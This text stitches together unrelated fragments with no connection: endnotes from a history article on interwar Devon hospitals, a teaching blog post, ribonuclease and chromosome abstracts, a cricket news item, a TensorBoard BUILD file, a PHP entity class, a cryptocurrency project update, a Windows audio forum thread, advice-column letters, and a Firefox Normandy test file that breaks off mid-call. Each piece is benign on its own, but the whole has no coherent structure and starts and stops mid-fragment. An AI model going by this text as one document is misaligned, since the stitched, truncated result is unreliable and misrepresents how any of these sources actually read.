John V. Pickstone, *Medicine and Industrial Society: A History of Hospital Development in Manchester and its Region* (Manchester: Manchester University Press, 1985); Martin Gorsky '"For the Treatment of the Sick Poor of All Classes": The Transformation of Bristol's Hospital Services, 1918--1939' (Bristol: University of the West of England, Bristol Historical Resources CD-ROM, 2000); John Welshman, *Municipal Medicine: Public Health in Twentieth-Century Britain*, (Bern: Peter Lang AG, 2000); Barry Doyle, 'Competition and Co-operation in Hospital Provision in Middlesbrough, 1918--1948', *Medical History*, 51 (2007), 337--56.
Becky Taylor, Martin Powell and John Stewart, 'Central and Local Government and the Provision of Municipal Medicine, 1919--1930', *English Historical Review*, cxxii (2000), 397--426.
Ministry of Health, *Annual Report for 1928* (London, HMSO, 1929), 80.
Alysa Levene, 'Between Less Eligibility and the NHS: The Changing Place of Poor Law Hospitals in England and Wales, 1929--39', *Twentieth Century British History*, 20, 3 (2009), 322--45.
Martin Powell, 'An Expanding Service: Municipal Acute Medicine in the 1930s', *Twentieth Century British History*, 8, 3 (1997), 334--57.
Ministry of Health, Appropriation of Poor Law Institutions, NA MH52/338, January--June 1930.
Paul Sabatier and Hank Jenkins-Smith (eds), *Policy Change and Learning: An Advocacy Coalition Approach* (Boulder, CO: Westview Press, 1993).
As recently described by Michael Mintrom and Phillipa Norman, 'Policy Entrepreneurship and Policy Change', *Policy Studies Journal*, 37 (2009), 649--67.
John Kingdon, *Agendas, Alternatives and Public Policies* (New York: Longman, 2003), 122--3.
Alysa Levene, Martin Powell and John Stewart, 'Patterns of Municipal Health Expenditure in interwar England and Wales', *Bulletin of the History of Medicine*, 78, 3 (2004), 638--9.
Paul Brassley, Jeremy Burchardt, and Lynne Thompson (eds), 'Introduction', *The English Countryside Between the Wars: Regeneration or Decline?* (Woodbridge: Boydell Press, 2008), 4--6.
Martin Gorsky 'The Gloucestershire Extension of Medical Services Scheme: An Experiment in the Integration of Health Services in Britain before the NHS', *Medical History*, 50 (2006), 491--502.
Winifred Holtby, *South Riding* (London: Collins, 1936).
Richard Titmuss, *Problems of Social Policy* (London: HMSO, 1950), 69.
Mohan, *op. cit*. (note 3), 38, 56.
Levene, Powell and Stewart, *op. cit.* (note 18), 660--3.
Michael Dawson, 'Party Politics and the Provincial Press in Early Twentieth Century England: The Case of the South West', *Twentieth Century British History*, 9, 2 (1998), 201--18; see also my earlier discussion of newspaper sources in Plymouth, Julia Neville, 'Putting on the Top Hat: Labour Mayors and the Local Press in Plymouth', *Southern History*, 31 (2009), 105--7.
J.B. Priestley, *English Journey* (London: Heinemann/Gollancz, 1934), 397.
Ministry of Health survey file, Exeter NA MH66/608, 7 May 1931.
S.V. Ward, *The Geography of Interwar Britain* (London: Routledge, 1988), 199--200.
*Express and Echo* \[hereafter *E&E*\], 26 June1935. Note that references to *Express and Echo* and *Western Evening Herald* items are by date only. Items on local council topics were frequently moved from page to page between the four or five daily editions produced in the 1930s.
*E&E*, 29 June 1935.
Ministry of Health survey file, Exeter, NA MH 66/608, 29 June 1931.
*E&E*, 25 January 1933.
*E&E*, 29 June 1933; Exeter City Council Minutes, Westcountry Studies Library \[hereafter WSL\], 28 June 1933; Exeter Public Health Committee \[hereafter PHC\], 13 July 1933; Exeter City Council, 25 July 1933; *E&E*, 26 July 1933.
*E&E*, 14 December 1938.
*E&E*, 22 March 1939.
*E&E*, 22 April 1932; *Western Evening Herald* \[hereafter *WEH*\], 2 May 1931.
Ministry of Health survey file, Devon, 2^nd^ Survey, NA MH 66/67, 1 January 1936.
Ministry of Health survey filed, Devon post survey correspondence, NA MH 66/69,11 March 1938
*E&E*, 28 September 1929.
*WEH*, 29 October 1931; 9 May 1932; 13 September 1932; 21 October 1933; 29 October 1935; 5 July 1935; 22 October 1935; 25 October 1935.
*WEH*, 9 November 1929, 2 June 1931; 20 October 1933; 6 March and 21 November 1934; 14 August 1936.
*E&E*, 24 February 1938, 12 February 1939.
*E&E*, 25 March 1930, 24 January 1938.
*E&E* 28 January 1931.
*WEH*, 24 October 1929; 4 October 1935; 9 March 1936; 8 March 1937.
*E&E*, 15 September 1929; 29 December 1934; 5 February 1936.
*E&E*, 2 November 1937; 1 December 1937; 2 November 1938.
*E&E*, 19 April 1929; 13 December 1929; 31 August 1931.
*E&E*, 2 May 1930.
*E&E*, 26 June 1930, 26 November 1931.
*E&E*, 14 March 1930, 21 February 1936.
*E&E*, 19 April 1929; 13 December 1929; 28 July 1930; 27 October 1930.
*WEH*, 2 June 1934; *E&E*, 29 June 1936.
*E&E*, 22 April 1932.
*E&E*, 12 November 1930; 4 May 1931; 31 August 1931; 21 December 1937.
*E&E*, 14 June 1929; 6 May 1931; 21 December 1937.
Sabatier and Jenkins-Smith, *op. cit*. (note 15), 198.
Daniel Fox, *Health Policies, Health Politics: The British and American Experience, 1911--1965*, (Princeton, NJ: Princeton University Press, 1986), x.
*WEH*, 8 March 1932.
*E&E*, 27 January 1932.
Exeter City Council Minutes, WSL, MoH Response on Appropriation Scheme, 9 March 1939. This contains sentences such as 'No one who has read the scheme carefully could make this mistake' and 'further argument would be unnecessary'.
*Annual Report of the Medical Officer of Health on the Health of Plymouth in 1930* (Plymouth City Council, 1931); Plymouth City Council Minutes, Plymouth Local and Naval Studies Library \[hereafter PLNSL\], PHC July 1929.
Paul Pierson, *Politics in Time: History, Institutions and Social Analysis* (Princeton, NJ: Princeton University Press, 2004).
Ministry of Health survey file, Devon, post-survey, NA MH 66/65, 8 July 1932.
Plymouth City Council Minutes, PLNSL, PHC 24 July 1929.
*E&E*, 6 January 1938.
G.W. Jones, *Borough Politics: A Study of the Wolverhampton Town Council, 1888--1964*, (London: Macmillan, 1969). 225.
*E&E*, 6 May 1930; *WEH*, 12 November 1930.
Exeter City Council, paper attached to PHC minutes, 9 March 1939 \[see note 61, above\].
*WEH*, 27 February 1932.
Ministry of Health, *Annual Report for 1931* (London: HMSO, 1932), 130.
Ministry of Health survey file, Plymouth, NA MH 66/618, 5 November 1930.
Ministry of Health survey files, Exeter, NA MH66/609, 5 November 1930 and Exeter resurvey, NA MH66/ 611, 8 Oct 1935.
Ministry of Health survey files, Devon, NA MH66/58, 15 April 1931 and Devon resurvey, NA MH66/67, 24 August 1935.
Levene, *op. cit*. (note 12); Taylor , Powell and Stewart, *op. cit.* (note 10).
Holtby, *op. cit*. (note 21).
[^1]: *Source*: NA MH 66-58: 47
[^2]: *Source*: Paul Sabatier and Hank Jenkins-Smith (eds), *Policy Change and Learning: An Advocacy Coalition Approach* (Boulder, CO: Westview Press, 1993), 133.
[^3]: *Source*: For further detail underpinning the summary in this table see Julia Neville, \'Explaining Variations in Municipal Hospital Provision in the 1930s: A Study of Councils in the Far South West\' (unpublished PhD thesis: University of Exeter, 2010), online: \<<http://hdl.handle.net/10036/96227>\>, accessed 17 August 2011.
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One of the things you figure out pretty quickly if you pay attention to what students say is that a lot of them engage with the materials we show them in a very concrete way. One example of that from today’s draft intro paragraph peer review session in World History was the student who kept trying to turn prompts on reconceptualizing its paragraph into a recipe for which words to say and how to arrange them. “What have you figured out about how conditions of trade changed?” became “How many times do I need to repeat the assignment topic phrase ‘conditions of work’?”
Lots of information in a pile, no analysis. A peer shrewdly asked if there were any people involved. So we got ‘Portuguese’ on the board. Then we talked about what kind of work. Trade, as it turned out. So we added ‘trading community’ to Portuguese. Another peer asked if the issue was storms at sea or political conflict. So ‘community’ got complicated to include seamen and kings, we added ‘conflict’, and broke out ‘political’, ‘economic’, and ‘social’. Was any of that sorted out in the draft paragraph? No, so it’s not about adding or moving a word or two, it’s about figuring out what you want to get at based on what you know. At the end the student came up and took a cellphone picture of the board.
Yesterday in the ‘bad literature’ seminar the group presenting on the religious erotica genre (their choice) were struggling with audience. It turned out they assumed that the people who read things are the people those things are about. So the audience for shocking erotica about monks boinking transvestite novices must be young Catholics considering the monastic life. I asked if the audience for Huckleberry Finn was orphans and runaway slaves, and whether they would respect me as a professor if the only books I read were about aging white male professors at nice little regional universities. They had brought up and passed over quickly points about authority and credit/discredit, so I prompted them to get a little more stubborn about developing those analyses. It didn’t take long to work out that an audience of non-Catholics might have reasons to be interested in literature discrediting Catholic authority.
Another fascinating assertion in that discussion was that because all fiction is based on fact, it might as well be treated as such. So the facts about a novel’s rhetoric and context can be read right off of the text. As a fan of science fiction I was tempted to ask about the factiness of phasers, warp drives, and Wookies, but time was running short so we deferred examination of creativity and imagination to our next meeting.
Incidentally, it has occurred to me that part of the problem with the concept of linked learning is that we can see courses, but we can’t see links. We can’t see learning, either, so it’s all very confusing. |
Reconstructing the evolutionary history of the artiodactyl ribonuclease superfamily.
The sequences of proteins from ancient organisms can be reconstructed from the sequences of their descendants by a procedure that assumes that the descendant proteins arose from the extinct ancestor by the smallest number of independent evolutionary events ('parsimony'). The reconstructed sequences can then be prepared in the laboratory and studied. Thirteen ancient ribonucleases (RNases) have been reconstructed as intermediates in the evolution of the RNase protein family in artiodactyls (the mammal order that includes pig, camel, deer, sheep and ox). The properties of the reconstructed proteins suggest that parsimony yields plausible ancient sequences. Going back in time, a significant change in behaviour, namely a fivefold increase in catalytic activity against double-stranded RNA, appears in the RNase reconstructed for the founding ancestor of the artiodactyl lineage, which lived about 40 million years ago. This corresponds to the period when ruminant digestion arose in the artiodactyls, suggests that contemporary artiodactyl digestive RNases arose from a non-digestive ancestor, and illustrates how evolutionary reconstructions can help in the understanding of physiological function within a protein family. |
Random position of human heterochromatin-bearing chromosomes in first and third mitoses of lymphocyte cultures.
The position of chromosomes 1, 9, and 16 in first and third mitoses of lymphocyte cultures was measured in BUdR-labelled air-dried chromosome preparations. No significant deviation from a random distance could be found between the two homologues of each chromosome, either in the first or in the third mitoses after phytohemagglutinin stimulation. Colchicine treatment also had no influence. |
READ ALSO -
NEW DELHI: The Cricket Advisory Committee (CAC) on Thursday shot a letter to CoA chief Vinod Rai , expressing "pain" at the perception that appointments of Rahul Dravid and Zaheer Khan were forced upon head coach Ravi Shastri The Committee of Administrator (CoA) has reportedly given the impression that CAC has gone beyond its brief in appointing Dravid and Zaheer as consultants when they were to select only the head coach."We spoke to Mr Shastri about getting Mr Khan and Mr Dravid on board in these capacities, and he readily agreed to the idea of having them in the set-up so that it would benefit the team and Indian cricket as a whole in time to come. It was only after getting Mr Shastri's consent that we also recommended Mr Khan and Mr Dravid, in their respective capacities," the letter, a copy of which is with PTI, read.The legendary trio reminded Rai of an e-mail where he had apparently given them a free-hand in picking the coach of the Indian cricket team."There have been suggestions that the CAC has exceeded its ambit in going with MR Khan and Mr Dravid and these two legends of Indian cricket has been foisted on the head coach. Also we did inform you (Rai) over the phone along with Rahul Johri and Amitabh Choudhary of all that transpired immediately after the meeting was over."In the beginning of the letter the CAC expressed its anguish."You will be aware that we put our heart and soul into the process, approaching a task made delicate by the recent developments with a clear head and with soul aim of providing Indian team with best resources possible to become world beaters they are capable of being."It has both pained and disappointed us, therefore, to see the light in which the CAC has been portrayed in various sections of the media," the letter read.That the legends were deeply hurt was palpable where they urged Rai to "come public" with transparency of the system."It is our desire that you come public about the transparency of the process of identifying the next head coach so that the falsehoods are put to bed."Their anger and disgust came out while concluding the letter."As we have outlined, that (forcing Zaheer and Dravid on Shastri) is not the case, it is imperative that the cricket- loving public at large is made aware of the reality. We could do it ourselves, of course, but we don't want to further queer the pitch. So we would respectfully request you to clear the air and set the record straight in this regard," the penultimate paragraph read.They concluded with another strongly worded paragraph."The three of us played our cricket with great integrity, and we have brought that same trait in fulfilling this important responsibility bestowed upon us by the BCCI . While we are not looking for plaudits, we do not appreciate the tone and the falsehoods of the narratives." |
load("//tensorboard/defs:defs.bzl", "tf_js_binary", "tf_ts_library")
load("//tensorboard/defs:web.bzl", "tf_web_library")
load("//tensorboard/defs:vulcanize.bzl", "tensorboard_html_binary")
package(default_visibility = ["//tensorboard:internal"])
licenses(["notice"])
tf_ts_library(
name = "tf_graph_app",
srcs = [
"tf-graph-app.ts",
],
strict_checks = False,
deps = [
"//tensorboard/components/polymer:legacy_element_mixin",
"//tensorboard/plugins/graph/tf_graph_board",
"//tensorboard/plugins/graph/tf_graph_controls",
"//tensorboard/plugins/graph/tf_graph_loader",
"@npm//@polymer/decorators",
"@npm//@polymer/polymer",
],
)
tf_js_binary(
name = "tf_graph_app_js_binary",
compile = True,
entry_point = ":tf-graph-app.ts",
deps = [":tf_graph_app"],
)
tf_web_library(
name = "tf_graph_app_bundle",
srcs = [
"tf-graph-app.html",
"tf_graph_app_js_binary.js",
],
path = "/",
deps = [
"@com_google_fonts_roboto",
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)
tensorboard_html_binary(
name = "binary",
compile = False,
input_path = "/tf-graph-app.html",
output_path = "/index.html",
deps = [
":tf_graph_app_bundle",
],
)
|
<?php
/* For licensing terms, see /license.txt */
namespace Chamilo\CoreBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* SettingsOptions.
*
* @ORM\Table(
* name="settings_options",
* options={"row_format":"DYNAMIC"},
* uniqueConstraints={@ORM\UniqueConstraint(name="unique_setting_option", columns={"variable", "value"})}
* )
* @ORM\Entity
*/
class SettingsOptions
{
/**
* @var int
*
* @ORM\Column(name="id", type="integer")
* @ORM\Id
* @ORM\GeneratedValue
*/
protected $id;
/**
* @var string
*
* @ORM\Column(name="variable", type="string", length=190, nullable=true)
*/
protected $variable;
/**
* @var string
*
* @ORM\Column(name="value", type="string", length=190, nullable=true)
*/
protected $value;
/**
* @var string
*
* @ORM\Column(name="display_text", type="string", length=255, nullable=false)
*/
protected $displayText;
/**
* Set variable.
*
* @param string $variable
*
* @return SettingsOptions
*/
public function setVariable($variable)
{
$this->variable = $variable;
return $this;
}
/**
* Get variable.
*
* @return string
*/
public function getVariable()
{
return $this->variable;
}
/**
* Set value.
*
* @param string $value
*
* @return SettingsOptions
*/
public function setValue($value)
{
$this->value = $value;
return $this;
}
/**
* Get value.
*
* @return string
*/
public function getValue()
{
return $this->value;
}
/**
* Set displayText.
*
* @param string $displayText
*
* @return SettingsOptions
*/
public function setDisplayText($displayText)
{
$this->displayText = $displayText;
return $this;
}
/**
* Get displayText.
*
* @return string
*/
public function getDisplayText()
{
return $this->displayText;
}
/**
* Get id.
*
* @return int
*/
public function getId()
{
return $this->id;
}
}
|
The month of October was pretty big for Metronome and cryptocurrency in general. Ten years ago the Satoshi Whitepaper was released, and just last year Jeff Garzik and Matthew Roszak announced Metronome at Money 2020 in Las Vegas. Since the last update post, there have been a few progress updates the Metronome team wanted to share with the community.
Ethereum Classic Chain Hop Testing and Auditing On-Track
The Metronome team is pleased to announce that the testing and auditing of the Ethereum Classic contract deployment is in full swing and receiving the same careful auditing that the first contracts had. This process, while laborious, is on track for the Q1 2019 contract deployment. Technical documentation on Cross Chain is also in a last round of editing, soon to be published for the community to review.
Mobile wallet support coming soon
The Metronome mobile wallet’s release is right around the corner. . While the community was able to store and send MET via third party mobile wallet applications like Jaxx, the Metronome wallet team made native access to the Auction and Converter in a mobile package a top priority.
The wallet developers are happy to announce that the wallet will be available soon, with both iOS and Android likely to be released at the same time instead of the staggered approach previously communicated. We also anticipate UI/UX updates to the desktop wallet.
Mass pay in action
Some of the most exciting features that Metronome has — though are sometimes overlooked — are its mass pay and subscription features. Though there have been numerous examples of mass pay in action, let’s take a moment to highlight one in particular.
Matthew Roszak was recently invited to a University of Chicago Blockchain Technology course to guest lecture on the blockchain, the industry, and Metronome. As he wrapped up his talk, he decided to give about $5 worth of MET to each student that provided their ERC20 compatible wallet.
This was an obvious opportunity to utilize the mass pay feature to avoid incurring duplicative fees to send MET to these students with one transaction.
Whether submitting batch payments, or giving MET as a gift to multiple people, mass pay is a helpful tool to get the job done.
Metronome, a year in review
Finally for this post, the team wanted to take a moment to reflect back on the year, Metronome, and the wonderful community that has built itself around this autonomous cryptocurrency.
A community of just 120 Telegram members in early November 2017, now boasts 16.8k, with active Medium and Twitter pages to boot. Its mailing list for updates and content has swelled to over 62k subscribers, and each piece of mail that goes out is well received. The community has even seen volunteer community leaders step forward to help educate, moderate, and build Metronome’s community(ies).
Both before and after launch, Metronome team members traveled the world to talk about the merits of a fully autonomous, cross-chain cryptocurrency. Today at World Crypto Con, there is an entire hackathon/day long workshop with a focus on building use cases for Metronome — with MET prizes available.
The community has built strong friendships, provided input into the Metronome ecosystem, and taught each other about why Metronome stands out. Through auditing, launching, and building together, our year has been announcements to audits, from building to launches — and one year from now we’ll look back again in awe at what more we, as a community, has accomplished. |
Welcome to Windows 7 Forums. Our forum is dedicated to helping you find support and solutions for any problems regarding your Windows 7 PC be it Dell, HP, Acer, Asus or a custom build. We also provide an extensive Windows 7 tutorial section that covers a wide range of tips and tricks.
Windows 7: My sound is going through PC instead of the MIC with headset
So i've been browsing forums for a while now and can't find out what's going on. I have a sound card with Realtek HD Audio. Recently, I connected a PCIM cord to my motherboard so I can have sound on an HDTV, which works fine. SINCE then, this problem started. The front ports for MIC and sound don't work at all, I don't get an "audio device detected" message. If i plug my headset MIc and Sound into the back of the PC, i hear the sound but so does everyone else instead of my Voice. I can tell this i whats happening because when I right click on recording options i see the bars on the mic moving with my sounds. Now if I unplug the sound portion and leave the MIC in, it does pick up my voice as normal. I can even plug in my speakers and they will play sound and it will work that way. not really ideal for a headset however, I'm not sure what setting to change or what to do to get this to work. Also the headset does not show up in playback devices, i have show hidden and unused checked. I tried to update my drivers but when I try to install them windows gives me a "untrsuted" pop-p that re-appears not matter how many times I select allow. any ideas?
When you are using HDMI, that becomes the defaul audio playback device. In order for the PC sound system (including headphones) to work or properly work the "Speakers" (your sound card) must be set as the default audio playback device.
Windows only allows you to have one default audio playback device, e.g. HDMI OR Speakers but not both.
I did manage to fix the front jack issue, but the pc isntead of mic problems persists. I do have 2 different devices i have swithc between speakers and "digital output" if I want to use my TV. picking either as default doesnt fix the issue.
My sound is going through PC instead of the MIC with headset
No sound when headset is plugged inHello all,
I am on laptop using Windows 7 home premium 64bit. There is sound when nothing is plugged into the audio jack, but when something is plugged, there is no sound.
I am using also Kubuntu on the same laptop, and the sound works perfectly even when a headset is plugged in the audio...
Sound & Audio
How To Amplify Sound from Siberia V2 HeadsetHey guys! I have a Siberia V2 Headset w/ a built in soundcard. The headset itself has a volume slider which is good because I don't have to open the volume settings or touch my computer to change the volume, but the output sound is very quiet. I have to have the volume on 100 and then adjust the...
Sound & Audio
uncontrollable sound when using 2-usb pnp headsetHi all,
I have a new custom computer since one year (description bellow) for which I have a 2-usb pnp sound device (headset: steelseries 3H). Since the beginning the sound in the headset is really absolutly high. I need to put the overall sound of my computer (via volume mixer) to about 2 to...
Sound & Audio
uncontrollable sound when using 2-usb pnp headsetHi all,
I have a new custom computer since one year (description bellow) for which I have a 2-usb pnp sound device (headset: steelseries 3H). Since the beginning the sound in the headset is really absolutly high. I need to put the overall sound of my computer (via volume mixer) to about 2 to...
BSOD Help and Support
No sound from bluetooth headsetWin7 sees my bluetooth device. It shows the services as available and (via checkmarks in the boxes) selected for use. But my headset never shows up in the Playback devices and no sound comes through the headset.
Any ideas? |
I moved into my university apartment with some people about a month and a half ago. Last night, I went drinking with a couple of the guys, and we got drunk. I ended up in bed with both of them, but I was too dry and they left. Then, because I was still drunk, I went to one of the guys in his room, and he was a gentleman about it and turned me away. Then I went to the kitchen and long story short, I ended up giving the other guy a blowjob.
Now that I’m actually awake and functioning properly, I don’t know what to think. Mostly, I feel like a slut. I also oscillate between freaking out and feeling weirdly detached from my situation. I feel like I lost respect for myself. I feel like I’m in a bad drama playing out in my head. I can’t believe I actually allowed myself to do that. I can’t believe I threw myself at 2 guys, because what the actual fuck. I also feel like I’m whining, because probably a lot of people feel like that after something like this (so sorry).
I’m also feeling really awkward, because I don’t know how to face them. I can’t avoid them because we’re sharing the same flat until June next year, and pretending I can’t remember isn’t an option because I clearly wasn’t drunk enough (I also feel like a coward for even considering those 2 options). I just want to face them and see what happens, but I may really just end up making it more awkward because I may freak out and say something really stupid, or obviously try too hard to act like nothing’s happened.
Basically, I don’t know what to do.
Sorry for whining at you, Feeling Terrible
Dear Feeling Terrible:
Can you do me a favor and remove “slut” as a mean thing you say about yourself? In this story, it took three to tango, and every single other person involved in what happened was just as drunk and horny as you and is probably feeling just as awkward the morning after. You’re not a bad person for seeking connection, sexy adventure, acting out a super-secret fantasy of having sex with two men at the same time, orgasms, or whatever else you were looking for that night. It is very possible to bounce back from this, shore up your relationship with your roommates, and figure out how you want to handle sex (and alcohol) in a way that’s healthier and more fulfilling for you going forward.
I’m a 25 year old who is at university for the first time in her life after making not the best choices as a teenager.I have been there for 2 and a half years now and for the most part I have been doing pretty well, but recently I had to do a prac for my degree, and it went terribly, which I’d blame 50% of on a huge personality clash with the Mentor Teacher.
I am redoing the prac soon, so thats terrifying enough, but I have lost all my previous confidence in my student skills, I drag my heels on assignments, find it increasingly difficult to go to class and in general just feel really down on myself. I worked really hard to get up my confidence in going to uni as I have a minor learning disability (developmental dyspraxia) that can affect my work. but all that self talk I did to get myself there in the first place just feels really useless now. I’d really like your help in becoming confident again.
500 Days of Summer: A movie about selective hearing by a nice guy who turns into a Nice Guy (tm).
O Captain! My Captain!
Our fearful trip is not at all done.
I’ve moved quite recently to a city I quite like. I have a lot of casual pals but few close, trustworthy friends. I’ve just started a new job, and am trying to balance my time between this job, a long-term creative project, taking care of myself (cooking, exercising, etc.), and of course making friends.
I also met someone who is, in some ways, really great. (That “in some ways” may tell you all you need to know.) He’s attractive, considerate, fascinating, and fun. He’s also ridiculously intense. Like, RIDICULOUSLY. I’m pretty sure that I am going to have to have an awkward conversation with him, and I’ve actually already figured out what I need to say, so that’s not the question. (“I just moved here and am trying to put my life together, and I’m feeling kind of overwhelmed. I really do like you and I want to be friends and hang out, but I need to get my life on track and make friends before I can even think about getting involved with anyone romantically. I really do mean the friends part. Will you still come to my party?”)
The question is, instead, two other things.
One. The way he’s intense reminds me of myself, like, five years ago. I can totally understand why anyone didn’t want to date me then – I thought everyone would be the love of my life, and I was obsessed with my own perceived inability to have a normal relationship, and I took things personally that were not at all about me. My do-gooder heart wants to find some way to be able to help him. Can I?
Two. A much more selfish query. Is there any way I can go backwards in time, get rid of all the serious crap, and somehow just do silly things with him and maybe sleep together for a while? (I didn’t sleep with him, never fear, in part because I was trying to find a way to get him to chill out. In retrospect, maybe I should have; he’s bending over backwards trying to tell me he doesn’t just want to have sex with me, which might not actually be a bad thing.) I suspect the answer is no, but I can keep hoping.
Quick background: I just graduated this June and moved to a new city in August to be with my lovely, lovely boyfriend. We’re not living together yet (but we’re discussing it and both of us want to move in together soon), but I am staying with an aunt and uncle who live in this new city. I applied like crazy for jobs when I moved out here and took the first one I was offered because the economy sucks and I was scared, etc., and I am incredibly grateful to have gotten work so quickly after moving, in spite of the job itself. I know that I am lucky in that regard. I have some student loans to pay off, but those payments don’t have to start until January. I also bought a car, but my grandma helped me pay for it, so now I’m paying her back. That’s my financial situation right now.
I’ve been working as a data entry operator at this job for about two months and from day one, I hated it. I cry on the way home from work at least once a week. I dread waking up to go to work every morning. I stare at a computer screen for forty hours a week in a windowless office in a warehouse with people I don’t like or have much respect for. The women I work with gossip about each other constantly and it makes me wonder what they’re saying about me when I’m not around. I don’t get up. I don’t do anything different at any point in the day, just shuffle papers from one pile to another. My commute is at least an hour in heavy traffic both ways. This job isn’t in my field of interest, there are no benefits, no networking opportunities, and no room for growth in the company. My boyfriend has been telling me to quit since week one and my parents quickly jumped on board because I am so unhappy working here. I’ve kept applying for other jobs (with non-profits, my field of interest) and keeping my head down at work in the meantime.
I am a 21-year-old college student about to begin my last year of school. My family is a bit nuts. My 22-year-old brother, diagnosed with an autism spectrum disorder at an early age, receives money from the government monthly and has never worked. My dad is in his 60s and also receives money from the government for bipolar disorder. This leaves me and my mom, who works full time and allows us to live above the poverty line.
She is also an emotionally unstable alcoholic who frequently stays up the entire night drinking, banging on the door of whoever has angered her that night, screaming and cursing at them for hours and hours. And it doesn’t take much to anger her–one errant comment is enough to land someone in her bad graces.
My mom and dad hate each other, but my mom has trouble supporting both of us without my dad’s check and I think my dad gets lonely without us. Her pattern is to ask him to come live with us, and then if he says something stupid or something goes wrong–and something is always going wrong–she gets drunk and blames him for it. Cue hours of drunken screaming. She kicks him out of the house often, and my dad says every time is the last, but he always comes back.
I'm pretty sure the Bradys handled emotional crises by having Alice put Quaaludes in all of their food. Not recommended if you're trying to raise functional members of society.
Dear Captain Awkward,
This is our family:
My partner, divorced & single dad for 7 years.
His daughter, 9 years old, who sees her mother only on the weekends.
My son, 7 years old, whose father lives on the other side of the planet (we’re fine with that!).
Then there’s our baby, two months old.
Well, and me, the trying-not-to-be-evil stepmother. So you see, there’s a lot of potential for drama.
I truly love my stepdaughter, and she likes me, too, and often confides in me or asks me for guidance or comfort. But most of the time, handling her is really exhausting. The divorce of her parents was a dirty mess and even now, their relationship is problematic at best but mostly an absolute disaster. So the girl bears the brunt of it and naturally, acts out since she knows no other way of coping. She shows early signs of self-harm (scratching, aggression, self-endangering behaviour) and gets sick a lot (psychosomatic illnesses).
Credit unions can be great, but they don’t work for everyone. Many have strict rules about who can be a member. Many have fee schedules and restrictions that are just as onerous as those of banks. You have to apply to be a member of a credit union – it can take a little time for them to accept you, and they may NOT accept you. Don’t risk financial limbo. Do your homework and get your account set up before you cancel your old one.
When you open a new account, you might not have instant access to your deposits. When I moved to Chicago and opened a new bank account (with a small community bank, where I still bank today) it took something like 7-10 days for me to have access to my money. Ridiculous? Sure. But very real. Also, sometimes it takes a while to get your new debit card and/or checks in the mail and to transfer automatic payments and direct deposits over. Get all your ducks in a row at the new bank and then close the old account.
Not everyone qualifies for a debit card! It’s something you “apply for” when you open a new bank account. I think this has broken the brains of some of my Twitter followers outside of the US. Even though it is YOUR money, a debit card is still an instrument of credit and you need to meet a certain threshold of creditworthiness to have one (and/or the ability to write checks). Even though merchants can instantly verify that the money is in your account and technology has shrunk the transaction time between presenting your card for payment and the actual debit taking place, when you pay with either a check or a credit card you are saying “I promise that the money will be in the account when you collect it.” For most of you it wouldn’t really be a problem, but if you’ve been living to paycheck to paycheck, and things have gotten sketchy for you financially, but you currently have a bank account with debit card and everything is in good standing, hold onto that while you set up your new account.
You need to make sure all of your outstanding financial obligations are met before you close an account. Never, ever shut down an account that is overdrawn. It will profoundly negatively affect your ability to open a new bank account.
Really audit your own banking needs, habits, and preferences. If you close your account at Big Evil Bank because they instituted a $5/month debit card holder fee, but you’re still using their ATMs twice a week because they have a machine near your house or your workplace and you don’t have time to locate your bank’s ATM, you are “sending a message” to the tune of of giving them an extra $24/month (Assuming $3/withdrawal – in addition to whatever your bank charges for using outside ATMs). Guess you really showed them!
Listen, it’s deliberately difficult and arcane to move your financial life from one institution to another – that’s how they get you. If you’re choosing to surmount that barrier and “vote with your feet,” do it! I just want you to take care of yourself in the process. It’s not a good “I’ll swing by after the protest and knock that out” decision. |
/* globals sinon */
"use strict";
ChromeUtils.import("resource://gre/modules/CanonicalJSON.jsm", this);
ChromeUtils.import("resource://gre/modules/osfile.jsm", this);
ChromeUtils.import("resource://normandy/lib/NormandyApi.jsm", this);
ChromeUtils.import("resource://gre/modules/PromiseUtils.jsm", this);
Cu.importGlobalProperties(["fetch"]);
load(
"utils.js"
); /* globals withMockApiServer, MockResponse, withScriptServer, withServer, makeMockApiServer */
add_task(
withMockApiServer(async function test_get(serverUrl) {
// Test that NormandyApi can fetch from the test server.
const response = await NormandyApi.get(`${serverUrl}/api/v1/`);
const data = await response.json();
equal(
data["recipe-signed"],
"/api/v1/recipe/signed/",
"Expected data in response"
);
})
);
add_task(
withMockApiServer(async function test_getApiUrl(serverUrl) {
const apiBase = `${serverUrl}/api/v1`;
// Test that NormandyApi can use the self-describing API's index
const recipeListUrl = await NormandyApi.getApiUrl("extension-list");
equal(
recipeListUrl,
`${apiBase}/extension/`,
"Can retrieve extension-list URL from API"
);
})
);
add_task(
withMockApiServer(async function test_getApiUrlSlashes(
serverUrl,
preferences
) {
const fakeResponse = new MockResponse(
JSON.stringify({ "test-endpoint": `${serverUrl}/test/` })
);
const mockGet = sinon
.stub(NormandyApi, "get")
.callsFake(async () => fakeResponse);
// without slash
{
NormandyApi.clearIndexCache();
preferences.set("app.normandy.api_url", `${serverUrl}/api/v1`);
const endpoint = await NormandyApi.getApiUrl("test-endpoint");
equal(endpoint, `${serverUrl}/test/`);
ok(
mockGet.calledWithExactly(`${serverUrl}/api/v1/`),
"trailing slash was added"
);
mockGet.resetHistory();
}
// with slash
{
NormandyApi.clearIndexCache();
preferences.set("app.normandy.api_url", `${serverUrl}/api/v1/`);
const endpoint = await NormandyApi.getApiUrl("test-endpoint");
equal(endpoint, `${serverUrl}/test/`);
ok(
mockGet.calledWithExactly(`${serverUrl}/api/v1/`),
"existing trailing slash was preserved"
);
mockGet.resetHistory();
}
NormandyApi.clearIndexCache();
mockGet.restore();
})
);
// Test validation errors due to validation throwing an exception (e.g. when
// parameters passed to validation are malformed).
add_task(
withMockApiServer(
async function test_validateSignedObject_validation_error() {
// Mock the x5u URL
const getStub = sinon.stub(NormandyApi, "get").callsFake(async url => {
ok(url.endsWith("x5u/"), "the only request should be to fetch the x5u");
return new MockResponse("certchain");
});
const signedObject = { a: 1, b: 2 };
const signature = {
signature: "invalidsignature",
x5u: "http://localhost/x5u/",
};
// Validation should fail due to a malformed x5u and signature.
try {
await NormandyApi.verifyObjectSignature(
signedObject,
signature,
"object"
);
ok(false, "validateSignedObject did not throw for a validation error");
} catch (err) {
ok(
err instanceof NormandyApi.InvalidSignatureError,
"Error is an InvalidSignatureError"
);
ok(/signature/.test(err), "Error is due to a validation error");
}
getStub.restore();
}
)
);
// Test validation errors due to validation returning false (e.g. when parameters
// passed to validation are correctly formed, but not valid for the data).
const invalidSignatureServer = makeMockApiServer(
do_get_file("invalid_recipe_signature_api")
);
add_task(
withServer(
invalidSignatureServer,
